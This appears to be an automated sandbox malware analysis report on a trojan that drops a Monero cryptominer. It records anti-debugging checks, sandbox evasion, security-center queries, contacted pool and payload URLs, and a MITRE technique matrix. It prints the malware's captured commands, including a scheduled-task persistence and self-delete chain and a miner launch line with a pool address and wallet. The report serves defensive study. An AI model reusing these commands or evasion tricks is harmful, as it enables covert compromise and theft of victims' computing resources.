Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

API call chain: ExitProcess graph end node

graph_0-24532

Source: svchost.exe, 00000010.00000002.519399281.0000019CF27AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware, Inc.
Source: svchost.exe, 00000010.00000002.519399281.0000019CF27AF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware7,1
Source: user_707748.exe, 00000009.00000002.518686097.0000020E6E84A000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000002.518469741.0000020E6E7F0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.516766394.00000198B0202000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
Source: FTrondtloadw.exe, 00000001.00000002.256668445.000000000128F000.00000004.00000020.00020000.00000000.sdmp, FTrondtloadw.exe, 00000007.00000002.518058661.0000000000E5C000.00000004.00000020.00020000.00000000.sdmp, FTrondtloadw.exe, 00000008.00000002.272804248.0000000000C93000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.517949377.00000198B023C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.518568563.00000137C1629000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CDF67D VirtualQuery,GetSystemInfo,

0_2_00CDF67D

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CCBA74 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	0_2_00CCBA74
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CDD2A0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	0_2_00CDD2A0
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CEC358 FindFirstFileExA,	0_2_00CEC358

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Tries to detect debuggers (CloseHandle check)

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

Handle closed: DEADC0DE

Hides threads from debuggers

Source: C:\Users\user\AppData\Local\Temp\user_707748.exe

Thread information set: HideFromDebugger

Jump to behavior

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

Code function: 1_2_0171EE88 CheckRemoteDebuggerPresent,

1_2_0171EE88

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CE9000 mov eax, dword ptr fs:[00000030h]

0_2_00CE9000

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\user_707748.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CE085A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CE085A

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CED040 GetProcessHeap,

0_2_00CED040

Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE09ED SetUnhandledExceptionFilter,	0_2_00CE09ED
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE085A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CE085A
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE0BDA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CE0BDA
Source: C:\Users\user\Desktop\FTrondtloadws.exe	Code function: 0_2_00CE4E3F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CE4E3F

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ftrondtloadw" /sc minute /tr "c:\users\user\appdata\local\servicehub\ftrondtloadw.exe" /rl highest /f && del /f /s /q /a "c:\users\user\appdata\local\temp\ftrondtloadw.exe" &&start "" "c:\users\user\appdata\local\servicehub\ftrondtloadw.exe
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe" /c chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "ftrondtloadw" /sc minute /tr "c:\users\user\appdata\local\servicehub\ftrondtloadw.exe" /rl highest /f && del /f /s /q /a "c:\users\user\appdata\local\temp\ftrondtloadw.exe" &&start "" "c:\users\user\appdata\local\servicehub\ftrondtloadw.exe			Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe	Process created: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe" &&START "" "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn "FTrondtloadw" /sc MINUTE /tr "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe "C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Process created: C:\Users\user\AppData\Local\Temp\user_707748.exe "C:\Users\user\AppData\Local\Temp\user_707748.exe" -a cryptonight -o pool.supportxmr.com:3333 -u 47FKbYe9q42LBQjX6P2QUfa2E9PWv9zUtXDM8sWe9bzzMtQtrSeUtMqMwREp6zbgREgVc9dsU3GroYVTVxizrddm36thVpi.user_707748 -p x --max-cpu-usage=50 --donate-level=1	Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00CDBFAF

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CE0676 cpuid

0_2_00CE0676

Source: C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CDEEDC GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,CloseHandle,GetModuleFileNameW,SetEnvironmentVariableW,GetLocalTime,_swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,

0_2_00CDEEDC

Source: C:\Users\user\Desktop\FTrondtloadws.exe

Code function: 0_2_00CCC345 GetVersionExW,

0_2_00CCC345

Lowering of HIPS / PFW / Operating System Security Settings

Changes security center settings (notifications, updates, antivirus, firewall)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct

Source: svchost.exe, 00000010.00000002.519243030.0000019CF2754000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \BullGuard Ltd\BullGuard\BullGuard.exe
Source: svchost.exe, 00000011.00000002.518345300.000001E66B43C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: (@V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000011.00000002.518562019.000001E66B502000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Files%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000011.00000002.518562019.000001E66B502000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.517900187.000001E66B413000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Web Service	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	1 Scheduled Task/Job	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	2 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	12 Command and Scripting Interpreter	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	147 System Information Discovery	SMB/Windows Admin Shares	1 Input Capture	Automated Exfiltration	11 Encrypted Channel	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	Logon Script (Mac)	12 Software Packing	NTDS	661 Security Software Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Standard Port	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	1 Process Discovery	SSH	Keylogging	Data Transfer Size Limits	3 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 DLL Side-Loading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	4 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Masquerading	DCSync	11 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	1 System Network Configuration Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	11 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
FTrondtloadws.exe	51%	Virustotal		Browse
FTrondtloadws.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	100%	Avira	TR/ATRAPS.Gen
C:\Users\user\AppData\Local\Temp\user_707748.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\ServiceHub\FTrondtloadw.exe	46%	ReversingLabs	Win32.Trojan.FMonitor
C:\Users\user\AppData\Local\Temp\FTrondtloadw.exe	46%	ReversingLabs	Win32.Trojan.FMonitor
C:\Users\user\AppData\Local\Temp\user_707748.exe	38%	ReversingLabs	Win64.Trojan.Miner

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
raw.githubusercontent.com	1%	Virustotal		Browse
mansepool.com	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://%s.xboxlive.com	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://dynamic.t	0%	URL Reputation	safe
https://%s.dnet.xboxlive.com	0%	URL Reputation	safe
https://raw.githubusercontent.com/FreemineCC/ring0/main/inc/consec	0%	Avira URL Cloud	safe
https://mansepool.com/pspp	0%	Avira URL Cloud	safe
http://crl.gloV	0%	Avira URL Cloud	safe
https://mansepool.com	0%	Avira URL Cloud	safe
https://mansepool.com/pspp(K	0%	Avira URL Cloud	safe
http://crl.glos	0%	Avira URL Cloud	safe
https://mansepool.com/pspp	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
pool-fr.supportxmr.com	141.94.96.71	true	false		high
raw.githubusercontent.com	185.199.108.133	true	false	1%, Virustotal, Browse	unknown
pastebin.com	172.67.34.170	true	false		high
mansepool.com	116.203.249.172	true	false	1%, Virustotal, Browse	unknown
pool.supportxmr.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://mansepool.com/pspp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/FreemineCC/ring0/main/inc/consec	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/G90cVvfJ	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.309415273.000001DE00C45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Routes/	svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx	svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.tiles.ditu.live.com/tiles/gen	svchost.exe, 0000000E.00000003.309380769.000001DE00C48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/	svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.309415273.000001DE00C45000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Walking	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mansepool.com/pspp(K	FTrondtloadw.exe, 00000001.00000002.257207314.000000000313A000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000008.00000002.273274949.00000000028BA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000002.309638359.000001DE00C13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=	svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309687369.000001DE00C42000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.xboxlive.com	svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.309380769.000001DE00C48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.gloV	user_707748.exe, 00000009.00000003.288657362.0000020E6E8AF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/logging.ashx	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Transit/Schedules/	svchost.exe, 0000000E.00000003.309420883.000001DE00C40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309687369.000001DE00C42000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.t	svchost.exe, 0000000E.00000002.309698385.000001DE00C4E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mansepool.com	FTrondtloadw.exe, 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen	svchost.exe, 0000000E.00000003.287628461.000001DE00C32000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309654029.000001DE00C36000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=	svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.309705623.000001DE00C5C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.glos	user_707748.exe, 00000009.00000003.289095387.0000020E6E89D000.00000004.00000020.00020000.00000000.sdmp, user_707748.exe, 00000009.00000002.518957290.0000020E6E89F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	FTrondtloadw.exe, 00000001.00000002.257207314.000000000313A000.00000004.00000800.00020000.00000000.sdmp, FTrondtloadw.exe, 00000007.00000002.519323790.0000000002C31000.00000004.00000800.00020000.00000000.sdmp	false		high
https://activity.windows.com	svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.bingmapsportal.com	svchost.exe, 0000000E.00000002.309638359.000001DE00C13000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Locations	svchost.exe, 0000000E.00000003.309375460.000001DE00C60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000002.309681973.000001DE00C3D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://%s.dnet.xboxlive.com	svchost.exe, 0000000C.00000002.518076496.0000025B02C43000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	low
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000003.309397669.000001DE00C5A000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
116.203.249.172	mansepool.com	Germany	24940	HETZNER-ASDE	false
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
172.67.34.170	pastebin.com	United States	13335	CLOUDFLARENETUS	false
141.94.96.144	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

Private

IP
192.168.2.1
127.0.0.1

General Information

Joe Sandbox Version:	37.1.0 Beryl
Analysis ID:	862600
Start date and time:	2023-05-10 02:20:13 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	FTrondtloadws.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@29/17@4/6
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.7% (good quality ratio 92.9%) Quality average: 79.8% Quality standard deviation: 29.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 164 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Excluded domains from analysis (whitelisted): fs.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
